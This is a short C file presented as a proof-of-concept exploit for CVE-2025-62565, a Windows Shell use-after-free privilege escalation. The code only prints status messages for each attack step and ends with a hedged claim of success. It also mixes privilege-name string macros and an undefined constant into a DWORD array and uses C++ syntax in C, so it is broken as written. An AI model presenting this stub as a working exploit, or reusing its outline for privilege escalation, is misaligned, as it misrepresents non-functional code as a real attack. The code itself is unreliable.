CVE-2025-62565

// CVE-2025-62565 Windows Shell UAF Privilege Escalation PoC (Conceptual) // This is a simplified demonstration for educational purposes only #include <windows.h> #include <stdio.h> // Trigger condition for Shell UAF void trigger_shell_uaf() { // Step 1: Create trigger conditions for Shell object allocation // In real attack, this involves specific file operations or UI interactions printf("[+] Creating Shell object trigger conditions...\n"); // Step 2: Force object cleanup (simulated) printf("[+] Releasing Shell object (triggering UAF condition)...\n"); // Step 3: Spray heap with malicious payload printf("[+] Spraying heap with privilege escalation payload...\n"); for (int i = 0; i < 1000; i++) { // Heap spray technique to control freed memory // In practice, this uses specific Windows APIs and object manipulation } // Step 4: Trigger use-after-free to execute payload printf("[+] Triggering UAF to execute payload...\n"); // Step 5: Verify privilege escalation HANDLE hToken; DWORD privileges[] = {SE_DEBUG_PRIVILEGE, SE_TCB_NAME, SE_CREATE_TOKEN_NAME}; for (auto priv : privileges) { printf("[+] Checking privilege %d...\n", priv); } printf("[+] Privilege escalation completed (if successful)\n"); } int main() { printf("CVE-2025-62565 Windows Shell UAF PoC\n"); printf("Target: Windows Shell Elevation of Privilege\n"); printf("CVSS: 7.3 (High)\n\n"); trigger_shell_uaf(); return 0; } // Note: Actual exploitation requires: // 1. Precise memory layout control // 2. Shell object lifecycle manipulation // 3. Token manipulation for SYSTEM access // 4. Specific Windows version targeting

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